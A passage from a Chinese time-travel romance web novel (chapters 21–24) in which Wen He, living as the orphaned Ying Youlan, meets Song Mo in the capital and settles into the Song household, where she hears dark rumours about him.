温禾撩起车帘,望向窗外熙攘的街市,这就是百年之前繁华的京都啊。
与现世截然不同。
百年后三界大乱,仙门尚有自保之力,但手无缚鸡之力的凡人却只能生活在水深火热之中。
许久未曾见过如此鲜活的花天锦地了。
她越看越新奇,双手扶着探出半个身子,好奇地四处打量起来。
京都人声鼎沸,街边小贩的吆喝声此起彼伏,各色商铺鳞次栉比,相貌迥异的胡商牵着骆驼走过,糖人摊子前围着一群活泼嬉闹的孩童……
忽然,她的目光定住了。
算命摊子前,一个熟悉的身影被拉住。
白衣胜雪,眉目如画。
瞧着比在虎牙山遇见时还要年轻两三岁。
温禾弯了弯眼,苍白的唇边浮现一丝笑意。
“停车。”
21.初遇
六街三市,万户千门,来往之人熙熙攘攘。
宋默垂首穿行于人间,面上平静无波,指尖有一下没一下地缠绕着腰间的素白长带。
一辆马车与他擦身,缓缓驶过,带起的微风卷过额角的鬓发,恍若有人轻抚过。他鬼使神差地回首。
雕花车窗内,车帘挽起,如琉璃净瓶易碎的少女探出头来,春日和煦的金色阳光不吝啬地尽数洒落她脸上,墨发如瀑吹落肩头。
嫌弃阳光太刺眼,少女张开手掌遮住半片明媚的天光。
两道视线于人群中悄然相会。
他看到了她,她也看到了他。
然后,宋默看见少女狡黠地眨眨眼,唇角勾起一抹俏皮的笑。
心跳一瞬落了半拍,砸落风静浪平的海面。
不过萍水相逢……他自嘲地勾起嘴角。他是半只脚踏进棺材的将死之人,今日之后,与这天地人间红尘万丈再无干系。
又何必徒染情丝?
怔忡间转身,却冷不防迎面撞上个鹤发童颜的老道。
那老道拄着根圆头木杖,背着个破漏竹篓,腰间酒葫芦晃荡,被撞得摇摇晃晃,好似喝醉了似的踉跄了好几步。
他虚虚扶正歪斜的帽子,假模假样地抬头看了一眼宋默,夸张地吹胡子瞪眼起来。
“诶呀呀,你这浑小子,怎的走路不长眼,欺负老人家呢!”
宋默一言不发,撩起眼帘淡漠一瞥,那双黑白分明的眸子里波澜不惊。
他被这老道拦路拦得严严实实,他往左,老道便往左,他往右,老道亦往右。
“我没钱。”
老道突然哽住,气得胡子翘起:“谁要问你讹钱?把本仙当什么了!”
少年了然,点头道:“抱歉,那劳烦借过一下。”
老道深吸一口气,围着宋默转了一圈,双手从上至下划过衣袍,张牙舞爪地显示自己一身专业行头。
“这位后生,你有没有看出来什么?”
“?”
见少年仍不开窍,他解释道:“有没有看出本仙与凡人不同之处?”
宋默摇头,很是和顺。
“罢了。”老道大手一挥,也不强求,为防止人半路逃跑,他双指松松攥住少年的衣袖。宋默扯了扯,没扯动。
“本仙方才打远处就瞧见后生你气质不凡,日后定有大作为。”他话锋一转,“只是观你印堂发黑,恐有大灾大难……”
老道说得正是起劲,唾沫横飞,却见少年缓缓抬起胳膊,双手各自捂住耳朵,又强调了一遍。
“我真没钱。”
老道气极失语,差点跳起来。沉默半晌,才张口道:“要死就去死,赶紧死,拿根破布条子上那城外桃花林里一甩,脖子往那里一架。”
双手环住脖颈,头一歪,翻起白眼吐舌头。
“额……啊……”
一连串动作流畅至极,他松开手,转而蹙眉眯眼推搡着宋默往外去,“走走走,去死吧你。听不懂话,执意想死的人,本大仙可救不了。”
宋默闻言怔住,手指探向腰间的白布。
这老道说得不错,他确实是要去寻死的。只是,这老道怎会知晓?莫不是确是……
神仙不成?
眼前人表情虽淡,老道却料到对方如今的心理活动定是五彩缤纷十分精彩,他骄傲地扬起头,下巴一抬。
“如何呢?”
宋默点点头,“嗯。”
“没了?就没别的表示了?”老道瞪大眼睛。
“好。”
“得了,你这闷葫芦也倒不出什么东西来。”老道越过宋默,目光落在后头,又回过来看他。
“本仙劝你先别死。”老道作势掐指一算,“你这人世爱恨嗔痴、万千苦果亦未尝遍,怎能轻易而死。况且……”
老道突然神秘兮兮地凑近,“你与某位小神仙还有天定的良缘,累世的宿缘,你就不想再等等?见见这位小神仙?”
宋默眼神终于动了动,他抬眼看向老道,眸色虽淡淡的,但认真地等待他继续说下去。
老道见状摸着白胡须笑眯眯道:“想不想知道这小神仙……如今身在何处呀?”
宋默接着话茬问:“在……”
话落半道,只听一声轻灵干净的。
“在这呢!”
一个娇小的身影从二人之间钻出。
少女面若白纸、弱不禁风,曲着身子,隔在中间,仰起秀气的小脸好奇地问道:“你俩说啥呢?算出啥名堂没有?”
老道似乎认识她,也似乎料到有今日场面,一边顺着胡子一边嘿嘿笑,慈爱地看着两位小年轻。
宋默先是被温禾吓了一跳,她身上的药香若有若无,在闹市之中显得格外清冽。当她仰起脸望向他时……
他见过她的。
一面之缘。
温禾站直,这副身体天生孱弱,依着长年累月的苦药灌下去,才勉强吊住了一条命,因而个子不显。
她的发顶刚好擦过少年的下颌。
下巴被毛茸茸的脑袋擦过,宋默感觉痒痒的,伸出一只手按住了温禾那颗躁动的脑袋。
于旁人眼里,少年像是在温柔地摸头。
感觉到触碰,温禾猛地抓住宋默的手,抬头往上瞟:“什么天定良缘……?”
宋默未曾想到少女如此不避嫌,被火燎到似的抽回手,藏进袖子里的手心沁出薄汗。
心跳得好快,仿佛快要冲破胸膛。
少女眼神灼热地望着自己,宋默一时不知如何自处,后退一步,拉开了些许距离。
温禾不满地看着他,这人又怎么了!
这时,老道拎起木杖,转身撇下二人远去,笑声爽朗,沉稳浑厚的笑声音似从天边飘来。
“缘分二字,远在天边……”
近在眼前。
老道不明不白地独自离去,温禾看着他远去的方向,又回看宋默。
“真不告诉我?”
少年沉默转身,修长的身影在夕阳下拉出一道孤寂的黑影。
“诶——”
温禾急急追上,她本想扯着宋默的衣袖,缠着他说。手刚探出去一些便僵住,猛然想起她换身份了。如今的少年要比在虎牙山上看着还要年轻一些,更是不可能认得她。
他们现在是陌生人的关系。
少年腿长腰细,迈开的步子比她大上许多,温禾在后头追赶不及。
最后,叉腰气鼓鼓喊道:“你就不想知道那老道
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有没有骗你吗?!”
宋默果然脚步一顿,没回头。
温禾趁机小跑凑上前去,大大方方地指着自己:“是我,是我。”
因着小跑了好一段路,少女白皙的脸颊上浮现两坨微红,少年眼神停留在那张俏生生的脸蛋,看了好一会儿,又迈开步子走。
“你别不信呀!”温禾继续追,脚尖踩着脚跟,“那老道不是说了,缘分,远在天边,近在眼前啊。”
她横下心手臂一张,挡住去路:“我不就在你眼前吗?”
二人四目相对。
你看我,我看你。
眼波流转间,跟着温禾进京的贴身丫鬟从后头追上来。
“小姐,小姐……”巧灵气喘吁吁地追来,停下后只偷着喘了两口气,拉着温禾的衣袖就要回马车。
见小姐不动,还一瞬不瞬地在大街上同一外男眉来眼去,她差点急得落泪,“小姐,咱们得回马车上,早些赶到宋府,天要黑了……”
说完,拉着温禾的胳膊就走。
温禾这副身子的体能哪里比得过巧灵,连拖带拽地被拉上马车。缰绳抽上马屁股时,温禾挣扎着探出脑袋。
少年还在原地,抬头遥望,清俊脸上盛满了困惑与不解。
“喂,你住哪?”
还未来得及得到回答,温禾被扯回车内,跌坐在软座上。
一双手探出,巧灵伸出半个身子,斜眼瞥了一眼,冷哼一声,“啪”地关上窗子。
“巧灵,我还没问完呢!”
“小姐,你怎么能……”怕被人听到,对自家小姐名声不好,巧灵压低声音,“你怎么能和这外男随意攀扯,你与宋大公子可是自小有婚约。老爷夫人逝世之前的愿望就是……”
“好了好了,我有我的安排,你不必费心的。”
温禾甩甩手示意巧灵可以暂停这番长篇大论。这一路上,她都快听出茧子了。不过也幸而巧灵是个话多爱唠叨的,愣是让她在这半个月的路程里,理清了自个儿的身份和进京的目的。
她如今名唤应幼兰,其父其母皆亡故于三年前的水患之中。原身虽幸免于难,但先天骨子弱,落下了病根,时时用名贵药材续着命。幸而,应家乃商贾之家,偌大家产,最不缺的便是金银。
温禾莫名觉得这名字有些耳熟,她嘴里又念叨了几遍。
“应、幼、兰……”
忽地,她坐起身,掌心重重拍下大腿,“靠,原来我就是白月光啊!”
“什么白月光?”巧灵撩起车帘,“小姐?”
温禾摇头说无事,又靠回软垫。
应幼兰,应幼兰。
当初宋默不就是把她错认成应幼兰了?
温禾捏了捏脸,懊悔应该带面小铜镜,多看看这副面容的。
原来,他喜欢的人竟生的是这副样貌,病弱三分如娇花照水,弱柳扶风。
娇娇柔柔的清冷美人。
车轮磕过小石头,微微颠簸,温禾激起一阵咳嗽,泪花涌出来。
歇停后,她靠在车窗边出神。
那她岂不是得学着应幼兰的模样,才好让宋默再喜欢上她?
思索间,巧灵的声音透过帘子。
“小姐,我们到了。”
22.表哥
巧灵小心翼翼地搀扶着温禾下了马车,将自家小姐安顿在府门前的石狮子旁阴凉处,才放心去叩那宋府的朱漆大门。
温禾慵懒地倚靠在石狮上,看着巧灵与宋府小厮交涉。
“我家小姐是应家表小姐,特来投奔宋大人。”巧灵递上名帖,声音温和有礼。
小厮借过名帖,眼睛却不住地往温禾那边瞟。只见那少女一袭月白罗裙,腰间系着一条青绿色丝绦,越发衬得腰肢不盈一握。春风拂过,她掩面轻咳,眼中泪光闪闪,更添几分清丽可怜。
“原来是应小姐!”小厮恍然大悟,笑着同巧灵攀交情,“我家大人常常提起应老爷的恩情呢。”
温禾闻言,嘴角微勾。她自然知道这段往事:应幼兰的父亲与宋思齐是同窗挚友。当年宋思齐在读书上颇有天赋造化,无奈家中贫寒家徒四壁,凑不齐进京赶考的盘缠,是应父倾囊相助,才得以让他进京赶考,最终连中三元。这份恩情,宋思齐为官之后,常常拿出来讲,府邸上下无一不知。
而且,从巧灵的话中得知,应家与宋家似乎往来十分密切。两家不仅常年书信往来,每年宋家还会抽个把月的空,拖家带口落脚应家。故而,原身与宋家大公子自幼相识,两家早有结亲之意。
小厮请巧灵在门口稍后,自己拿着印信进院去找主家。不多时,便见一位管事嬷嬷快步而来。
推开朱漆大门便热络地朝温禾喊道:“表小姐来了。”
不知来人怎么称呼,温禾只微微颔首。
“夫人在正厅候着呢,奴婢带小姐过去。”
一路舟车劳顿,温禾随嬷嬷步入宋府宅院,才心知这应家父母为应幼兰所作打算是多么明智。
宋府的宅子是宋思齐入京为官后买下的,特意请人着手修缮布置。而宅邸多能显示主人家的品味审美。
廊院亭桥,花草檐角,清雅素净。仔细瞧去,却可见其中玄机,精美奇巧,颇有文人雅士之风。但见府中亭台楼阁错落有致,处处透露文人雅士的清雅意趣。假山流水间点缀着几株垂落的粉白山茶,微风拂过,香气清新淡然。
待穿过长长的游廊,绕过海棠垂花门,便听到一声字正腔圆的“幼兰”。
循声望去,里头出来个雍容华贵、风姿绰约的美妇人。眉若新月,眼若秋波,穿着一袭华贵的紫棠织锦流云裙,裙身织着繁复的流云图案,随着其走动的步伐缓缓飘动,如同天边云霞,优雅贵气。
此妇人,便应是当朝吏部尚书之女,宋思齐的正妻,林宛筠。
温禾走上前去,乖巧地应了一声,向其行礼。
“伯母。”
林宛筠握住温禾的手,便跨进厅内。发觉温禾的手冷得像块冰,忙捂在手里揉搓,蹙眉道:“这春寒料峭的,怎不让手底下的人生个汤婆子暖一暖。你自小身子弱,我瞧着都心疼。”
温禾浅浅笑着宽慰,“不碍事的,我这身子本就如此,是我不愿拿着费事。”
“快去取汤婆子来给姑娘暖暖身。”
掌事的方嬷嬷是林宛筠身边待了许久的,颇有眼力见,闻言便带着几位下人忙活起来,又是准备汤婆子,又是备好热茶送上,还另为温禾拿了一件大氅御寒。
温禾在客座,由巧灵服侍穿上大氅,又啜饮了一口热茶,方觉得身子暖了一些。
见一切安排妥帖,林宛筠关切问道:“幼兰此番来京,可还要回沧州?”
温禾与身边的巧灵对上一眼。她们此次前来,便不曾想过要再回沧州的。她父母俱亡,老家沧州只剩下些闹事烦人的亲戚想要争家产吃绝户。她一个孤女,若留在那里,只会被吃得一干二净。因此,来京之前,沧州的田产铺子都被转手卖掉,换成银两存在钱庄里。
如今,温禾可算是个富家小姐。
她缓缓开口,眼圈却倏地红了,“应是要回去的,只是……”
欲语泪先流。
温禾以袖掩面,轻拭泪水,哽咽道:“真是不该,幼兰叨扰伯母伯父了。”
座上贵妇事先已收到应氏夫妻于水难之中双亡的书信,只是宋思齐在朝中事务繁忙,所以不曾前往沧州吊唁。本就对此颇感内疚,何况眼前的小姑娘是从小看着长大的。人非草木,听温禾话语之中身若浮萍孤苦无依之态,难免心生怜爱。
于是林宛筠温声宽慰道:“你父亲母亲的事……罢了,斯人已逝,侥幸活着的人更要好好保重。你就在此住下,只管把这儿当作是自己家。”
温禾乖巧点头,“多谢伯母。”
说完,又是犯了咳疾。纤弱的身子随着咳嗽轻颤,苍白的脸上泛起病态的红晕。
“快,去把听雪院腾出来。”林宛筠连忙吩咐方嬷嬷派人去把下榻的院子收拾出来,转头又征询温禾的意见。
“听雪院如何?你母亲上回来,住的便是这个院子。那里头的物件摆设都未曾动过,你住的也亲切安心些。”
温禾为客,哪敢有意见,虚弱地笑着点头说好。
“全凭伯母安排。”
“那我便让下人先收拾一番,你也好先休息。我已派人同老爷说你来了,那三个小子还在书院,等他们回来为你接风。”
因着下边的人收拾还需些时间,林宛筠与应幼兰又是许久未见,便拉着温禾闲话家常。聊的无非是谁家闺秀许了哪家郎君,然后引到再过几月便是温禾的及笄之礼,要为她好好相看人家。
温禾对这些事不上心,听得昏昏欲睡,眼皮不住地往下坠,神魂都要飞到天外去。
就在她要眯上眼歪倒下去时,一个清朗的声音突然响起。
“母亲。”
只见一位身着黛蓝长袍的少年立在厅前,眉目端正,气质儒雅。
看见温禾,迟疑了一会,脸上露出喜色,规规矩矩行礼道:“幼兰妹妹。”
不用巧灵提醒,温禾也猜出眼前之人是谁,立刻会意,起身行礼。
“明义哥哥。”
只是一句简单的称呼,愣是让宋明义烧红了脸,他轻咳了一声,回身转向
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母亲。
“儿子刚从书院回来,听府里下人说幼兰妹妹来了,就赶紧过来。”
林宛筠怎会不知自己儿子的心思,揶揄道:“比起你那两个弟弟,你倒是懂待客之道。”
闻言,宋明义脸更红了,他悄悄瞥了眼垂首不语的温禾,隐隐嗔怪,“母亲。”
深宅大院里的规矩,温禾不懂。为了避免被人捉住错处,她惯常是垂首看自己衣裙上的纹路,细细描摹。
这面宋氏母子在拉家常,另一面她低头仔细听着。任何人看了,都要夸一句应家的小姐端方知礼,仪静体闲。
宋明义便时不时把目光悄悄落在温禾身上,他这位妹妹,似乎与记忆中有些不同。长相么,比过去长得更加秀丽,宛若仙露明珠,水月观音。性格么,同过去也无甚差别,但为何他总觉得幼兰与自己生疏许多。
这时,有婢女来报听雪院已收拾妥当。
林宛筠点头,正要差使个得力聪慧的人,把温禾带过去入住。宋明义立即请命,“母亲,我带幼兰过去吧。”
他正愁着没机会同应幼兰交流感情,自然不愿放过,“正好我可以带着幼兰熟悉熟悉。”
无外乎是两个孩子的事,林宛筠也懒得计较,也就应下了。
宋明义高兴了,温禾却开始犯难。
同这位表哥熟的是应幼兰,又不是她。若是宋明义同她讲起儿时趣事攀谈家常,她这位应家小姐的身份就要遭到怀疑了。
温禾慢腾腾地起身,跟着宋明义往外走去。
刚迈出门槛,却见一个年轻的丫鬟慌慌张张地冲进院子。
“放肆!”林宛筠不悦,厉声呵斥,“成何体统!”
丫鬟扑通跪下,颤抖着身子,哭丧着脸,“夫人恕罪!是、是听竹院的那位……”
“他又做什么了?”
“他……他回来了……”
温禾故意走得极慢,与宋明义二人皆在门口徘徊。她敏锐地察觉到,随着丫鬟的话音落下,整个厅内的气氛骤然下降凝固。
“听竹院的那位是谁?”温禾小声问道。
林宛筠的脸色她看不真切,但宋明义的脸近在咫尺。她抬头看了眼宋明义,发现他脸上的表情不大对劲。
不善,阴沉,还有……愤恨?
温禾不懂也形容不出来,但很明显,宋府上至夫人公子,下至小厮婢女,都不太喜欢听竹院这位。
神人。
宋明义沉默半晌,“不过是个闲杂人,幼兰不必在意。”
温禾若有所思地点点头,余光却瞥见回廊尽头,有一抹白色悄然消失。
那背影在落日余晖之下显得格外萧索,与这富贵繁华的府邸格格不入。
“走吧,幼兰。”宋明义心情不大好,勉强挤出一个笑容,“我带你去听雪院,母亲为你挑的可是宋府最好的。”
温禾笑着点头,心里却翻江倒海。
那白色,是他吗?
听竹院的那位,说的也是他吗?
23.兰花
宋府宅院分为东西两院。东院是宋家主人们的居所,朱门绣户,处处彰显着热闹以及官宦人家的气派。而西院则专门用来招待下榻的宾客,虽不及东院的富丽堂皇,但胜在清幽雅致。
分给温禾的听雪院便是西院里头的一个小院,她对这个安排颇为满意,地处偏僻,往来人少,正好方便她行事。
宋明义领着温禾穿过几道回廊,一路上时不时侧目看她,春风拂过海棠花醉,带起少女鬓边的几缕青丝,衬得越发楚楚动人。
“这三年……幼兰过得可好?”
温禾露出浅淡的微笑:“多谢表哥记挂。父亲母亲死后,家中有诸多繁琐之事需要打理。”
她顿了顿,“不过……都过去了。”
“幼兰……”宋明义闻言,叹了一口气,眉头微蹙。
担忧他与表妹之间因此生了嫌隙,解释道:“我想去找你,但……实在走不开。我曾给你寄过书信,你可看到?”
温禾哪知道什么书信,“许在路上遗失了,我并未看到。”
“伯父伯母故去之时,父亲正处于风口浪尖,在朝中处境艰难。官场险阻,举步维艰。若是行差踏错一步,全家都不能保全。故而……”
故而才没有去找你。
宋明义声音渐低,没再说下去,他眼中满是愧疚。
“我明白的。”
温禾抬眸看他。这位远房表哥生的端正儒雅,听闻又惯会读书,在书院里是个出类拔萃的人才。温禾对读书好的聪明人一向感官很好,因此并不讨厌宋明义。
她温声道:“表哥不必自责。”
少女虽言语温婉,但肢体间却处处透露着疏离冷淡。料峭春寒,连带着宋明义的心也凉了半截。
他从怀里掏出一个荷包,递到温禾眼前。
荷包老旧褪色,缝线处有许多不合适的针脚,应是多次破损后缝补造成的痕迹。但在岁月洗礼下,也不难看出做这荷包的人极其善于女红,才能把荷包上的兰花纹样绣的清雅脱俗。
兰花。
身边的下人不知何时都消失不见了,连在温禾身边一步不落的巧灵也不见了。
宋明义开始怀念过去,“以往每年,母亲都会带着我与弟弟们在沧州住上一两个月。你幼时一见到我,就特别欢喜,还说要跟我来京都生活。可你去不了京都,便绣了荷包让我时时刻刻带在身上。”
“你说,带着它,就是把你带在身边。”
宋明义目光炯炯,灼热地望着温禾。
“这些年,我从未取下。”
他的眼神实在热切,温禾被烫的不知如何回应,挪开眼长久盯着地面忙碌的蚂蚁。
少年声音温和,说得又缓慢,一字不落地暗暗表明心迹。
“每年你都会为我做新的。今年……你可还愿意为我做一个吗?”
温禾一时间不知如何作答。
饶是她愚笨迟钝,也能感觉的出来,这并非只是做一个新荷包的事情。宋明义的潜台词是——
你可还心悦于我?
应幼兰喜欢宋明义,但她不是应幼兰。
她无法代替那个已经逝去的少女回答这个问题。
回溯了三次,温禾已摸清楚了阴阳纵横仪运行的规则。她每一次穿越借用的身体原主都已死亡,而她恰是那个时机进入了这副无主的身体。
半月前她在这具身体中醒来,而真正的应幼兰在来京的路上感染疫病死了。
少女明显的迟疑,让宋明义心里一紧,隐隐感到不妙。
他轻声唤道:“幼兰?”
“我……”
温禾正斟酌着是否要直白明说,以后二人只为兄妹之情,不会再有旁的心思。
忽见宋明义抬头越过温禾,神色复杂地望向她背后,点了个头。
“三弟。”
温禾转过身,白衣少年静立在他们不远处,如同一棵喑哑沉默的百年老树,淡漠的目光匆匆扫过站在那儿的宋明义,最后直直地定格在她身上。
那双漆黑如墨的眸子如同幽深的古井,深不见底。盯着她看了许久,又冷冷瞥了眼宋明义,而后一言不发地扭头径自进了院子。
温禾盯着宋默独自离去的背影迟迟没有回过神。
竟然这么巧,他是宋家的三少爷?
可宋家如此富贵,他的穿着却十分简朴,不像是大户人家出身的少爷。难不成……宋家克扣他了不成?
温禾垂眸不语,心里脑里都被宋默的出现塞满了。
宋明义略带歉意地替自家弟弟向温禾致歉,“我这三弟素来性子古怪,对谁都这般冷淡。幼兰不必放在心上。日后若遇见,避开便是。”
温禾跟着点了点头。
好在经过宋默突然出现的那一茬打断了尴尬,宋明义暂且忘记了探询心意之事,转而借着这机会向温禾说起宋府的一些趣事。
他学识渊博,谈吐不凡,引经据典间又添几分独到见解,二人倒是相谈甚欢。
几株老梅掩映间,一座小巧的院落静静伫立。
“便是此处了。”宋明义推开院门,露出里头收拾齐整的庭院,“我记得幼兰你素来不喜欢喧闹,此处正合适。”
温禾望着院中错落有致的景致,假山旁有一弯清浅的水池映着天光,落日余晖洒在水面,金光粼粼。
确实是个僻静的好去处。
最关键的是,只需走半柱香的时间,便是宋默所在的小院。
“多谢表哥费心。”温禾福了福身,“这路上舟车劳顿,我有些累了,就不留表哥进来喝茶了。”
“好。”宋明义点头,“那你好生休息,待晚膳时,我们再聊。”
“嗯。”
宋明义行礼告辞。
温禾立刻合上门扉。静候片刻后,她感觉宋明义应该走远了。
悄悄打开木门的一个小缝,探头探脑地确认四下无人。她嘿嘿笑了两声,这才搓着手掌蹑手蹑脚地溜了出去。
她如今可是宋默的白月光,天然自带加成,就不信这一回还能不成功!
*
温禾提着裙角快步走在青石小径上,心里直犯嘀咕。明明去听竹院的路她记得清清楚楚,直走穿过回廊,右拐绕过小花园,再穿过月洞门就到了。可这会儿绕来绕去,竟又回到了原地。
“怪了,这园子什么时候变得这么大了?”
温禾停下脚步,疑惑地对比周围的景色。
绕了一大圈,她都快要怀疑是不是遇上了鬼打墙。
却听巧灵和一群丫鬟笑嘻嘻地沿着石径走来。
她此行本来就是偷摸的,不想让人知晓,于是背对着巧
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灵快步回去。
“小姐!”身后突然传来巧灵清脆的声音。温禾心里一紧,赶紧背过身去假装整理衣袖。
“小姐!”
巧灵已经小跑着追了上来,身后还跟着四个面生的丫鬟。
温禾没法,转身笑着先发夺人:“巧灵,你这是去哪儿了?”
巧灵一把揽住她的胳膊,“方嬷嬷刚给我派了四个新丫鬟。”她转头对那几个丫头说,“还不快见过小姐?”
四个丫鬟齐刷刷行礼。
温禾点点头:“既是方嬷嬷挑的,想必都是好的。你看着安排就是。”
“小姐,”巧灵凑近她耳边,“宋老爷快回来了,大公子也在前厅候着呢。咱们回去换身衣裳吧?”说着挤了挤眼睛,“大夫人送了一些胭脂水粉过来,待会试一试?”
温禾能理解巧灵的心思,她一介孤女,宋家,宋明义是她能够上的最好的高枝。宋家家主宋思齐为官多年,在朝中已颇有根基。而他的嫡子宋明义也是个读书的好料子,将来入朝为官,指日可待。庇佑一个挚友的女儿,绰绰有余。
可若是她现在说,她要追求的人是宋家第三子。
指不定巧灵要朝她哭上好几日,这丫头的眼泪她在病榻之时是见识过的,能冲垮龙王庙都说不定。
“走吧。”温禾叹了口气,任由巧灵将她往回拉走。
温禾靠在浴桶边,温热的水汽模糊了视线。巧灵正用木勺舀水淋湿她的长发,打湿后用皂角揉搓了三遍,又往上抹发油。茉莉发油的香气浓郁,熏得她有些头晕。
“新来的四个丫鬟里,可有在府里待得久的?”温禾拨弄着水面上漂浮的花瓣,状似随意地问道。
巧灵手上动作不停:“有个叫蕙香的,先前伺候过老爷那位过世的姨娘。”
“让她来伺候吧,你去歇着。”温禾说着往水里沉了沉。
巧灵却担心其他人照顾得不周到,“小姐……”
“去吧。”温禾语气轻柔却不容拒绝。
不一会儿,身后传来细碎的脚步声,有人走到浴桶边坐下。一双略显粗糙的手接过布巾,动作轻柔地擦拭着她的长发。
水汽熏的人困倦,温禾闭着眼问:“你叫蕙香?”
“是,小姐。”
“蕙香……”温禾记住了,“我且问你,三少爷叫什么名字?”
“三少爷叫宋明乐。”
“嗯?”温禾皱起眉头。
“那你可认得一个叫宋默的?”
布巾突然停住了。温禾疑惑地睁开眼,转头就看见蕙香脸色煞白,抖如筛糠,手指紧紧绞着布巾,指节都泛了青。
一副害怕极了的模样。
“怎么了?”温禾直起身子,水珠顺着肩膀滑落。
蕙香“扑通”一声跪倒在地,声音发抖,“小、小姐,怎么突然问起……那个晦气的人……”
“你说谁晦气?”
温禾没意识到自己的语气骤然加重,听上去似乎不大高兴。
蕙香以为自己刚来就惹怒了主子,哭丧着脸,眼睛鼻子嘴巴都皱成一团。像是怕被谁听见,压低声音道:“那人……那人是天煞孤星来的,晦气得很,谁和他沾上都没有好下场!府里人都知道,谁沾上他谁倒霉。先前伺候他的丫头,不是病就是伤,就连他亲娘都……”
24.接风
“他亲娘怎么了?”
蕙香不想触霉头,有些不情愿,“那晦气玩意儿出生后,芷姨娘身子就一直不大好,整日病蔫蔫的。三年前又生了五小姐,本来好端端的一个人,还未出月子就突然疯了,然后就……”
她做了个上吊的姿势,“临去前的那段时日,有人时常听到听竹院那边传来打骂的声音,什么……都是你这个灾星害的。”
“那五小姐呢?”
蕙香叹了一口气,“上月五小姐要看荷花,又吵着闹着说要吃莲花酥应景,下边的人没看住,掉进了荷花池里……”
她可怜那早夭的孩子,“真是造化,才三岁的小人儿,就这么没了。”
“怎么会连个半大孩子都看不住?”
“都是那奶娘的疏忽……”
水温有些凉了,蕙香把温禾扶出浴桶,换新的贴身衣物。
“不过奶娘也知道是自己犯的错,连夜逃了。前不久被人发现死在城外的一家客栈。”她替温禾拢了拢领口,停顿了一下,十分害怕,“听说见过的人,都说她死的极惨。”
温禾一直垂眸听着,越听越觉得荒谬怪异,怎么会无缘无故就把所有的事情推到一个人身上。竟然连宋默的亲生母亲也这样责难他?
“你说的这些事,与他又有何干系?”
“小姐有所不知,他出生那日,天降异象,打了三天三夜的旱雷。府门外来了个疯和尚,说此子是……”
温和轻瞥了一眼,“是什么?”
“他是恶积祸盈被天上罚下来的扫把星。”
温和猛地扭头,水珠从发梢甩落,“这么迷信?”
话说多了,蕙香觉得这主子性子和顺是个好说话的,于是连带着声音都高了不少。
“哪能呢!老爷夫人也是有学问的,一开始自然没有全信。但……据府中的老人说,与他有过接触的下人多多少少都会倒霉受伤。更有甚者,头一天还好端端的,碰了他之后,转日就断了条腿。”
换了身衣裳,温禾坐在妆台前,铜镜里映出她若有所思的脸。蕙香站在身后,正用细棉布轻轻绞着她半干的长发。这副身子吸收不好,有些营养不良,并不是纯黑的发,而是类同琥珀的咖色,在烛火下呈现出温润的光泽。
“奴婢原也不信的,这都是子虚乌有的事。我在芷姨娘身边伺候过,她是个心地好待底下人很和善的主子。那位哥儿小时候瞧着也是个长相漂亮的普通孩子,只是年岁越长……性子就越发不行了。因着传言,奴婢也不敢多接触。”
这时房门"吱呀"一声被推开,巧灵抱着叠得整整齐齐的衣裙进来,见状立刻皱眉:“蕙香,你又乱嚼什么舌根!”
她快步上前,故意用身子隔开两人,然后用肩膀将蕙香挤开,自己大喇喇站在主子背后,明晃晃的争宠。
“小姐,该梳妆了。”
知她因为从小和应幼兰一起长大的情分,所以格外容不下其他人。
温禾哑然失笑,看着蕙香惶恐的样子,从妆奁中随手取出几件首饰,缓和了语气。
“今日辛苦你了,这些拿去分给姐妹们吧。自己选选有没有喜欢的,没有就来寻我换些别的。”
主家的赏赐,有就不错了,蕙香哪里还挑挑拣拣。欢欢喜喜地收下,跪下磕了个实在的响头,就退了出去。
*
温禾踏入宴厅时,暮色已深,几盏烛灯尽数点亮,将整个厅堂照得如同白昼。
她脚步轻盈地跨过门槛,身上新换的藕荷色罗裙随着步伐微微摆动。
宴席布置得极为讲究。正中央的主位上,宋思齐身着赤色罗织的官服端坐,身旁的林宛筠一袭绛紫色织金褙子,发间的金凤衔珠步摇富贵迷眼。左侧首位坐着长子宋明义,一袭青绿色锦袍衬得他愈发温润如玉;次位是三子宋明乐,圆滚滚的身子将宝蓝色绸衫撑得紧绷,活像个会喘气的汤圆。
还有一人,温禾的目光在宋明远脸上停留片刻,又扫过在宋思齐身后侍立的红姨娘。这对母子不仅眉眼相似,连那种若有似无的算计神情都如出一辙。
还真是龙生九子,各个不同。
在这样遗传如此不稳定的情况下,宋默能够脱颖而出,还真是稀奇。
“幼兰,你可算来了。”林宛筠的声音带着恰到好处的亲昵,她抬手示意身旁的丫鬟,“快给表小姐看座。”
唯一空着的席位就在宋明义身侧,温禾缓步走去。她能感觉到宋明义的目光一直追随着自己,待她落座时,这位大公子已经连耳根都红透了,显然是紧张得过了头。
宋明义见温禾丝毫不犹豫地坐在他边上,耳根一红。虽说这位置是他特意安排的,但心下还是忍不住窃喜。
这样看来,表妹也还是喜欢他的吧……
宋明远将这一切尽收眼底,唇角勾起一个意味深长的弧度,又很快恢复如常。
只有那老三宋明乐,最是年幼,看着一堆菜却不能吃,心中不满,嘴里嘟囔道:“饿死人了!怎么才来!”
他摸着自己浑圆的小肚子,“我肚子都要饿扁了!”
林宛筠轻飘飘地扫了小儿子一眼,却没有苛责。亲自执起银筷,从面前的清蒸鲈鱼上取下最嫩的一块腹肉,轻轻放在温禾面前的瓷碟里。
“多吃些,瞧你瘦的,看着都心疼。”
宋思齐的目光始终停留在温禾身上,那双阅人无数的眼睛想要透过她看见死去的故人。他手中把玩着一枚羊脂玉扳指,半晌才开口道:“用膳吧。”
侍立一旁的丫鬟们立刻上前布菜。温禾小口品尝着面前的菜肴,却总觉得少了些什么。
宋默没有来。
宋家的厨子确实了得,一道清蒸鲥鱼鲜嫩得入口即化,水晶肴肉晶莹剔透,连最普通的时蔬都炒得翠绿爽口,很合她的口味。但为了维持人设,她不敢多吃,筷子在瓷碟上轻点,每个菜都只浅尝两口就放下。
宋家家规严格,寝不言食不语,席间安静得能听见银箸碰触瓷器的轻响。宋明义见她停筷,压低声音问道:“可是不合口味?”
肚子空空,饿得前胸贴后背,但温禾还是摇头,推脱说:“已经饱了。”
其他人还在吃,她只能干坐在那里等。
待到宋思齐搁下筷子,整桌人立刻跟着停箸
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。红姨娘眼明手快地递上绸帕,丫鬟捧着铜盆伺候净手。
只有宋明乐见大家都结束了,敞开膀子一个人扫空饭菜,抱着个鸡腿啃得正欢。
“子崇他……”宋思齐突然开口,声音里带着刻意压低的沉痛,“临走前可有留下什么话?”
子崇是应幼兰父亲的表字,只有关系极近的亲朋好友才会如此称呼。
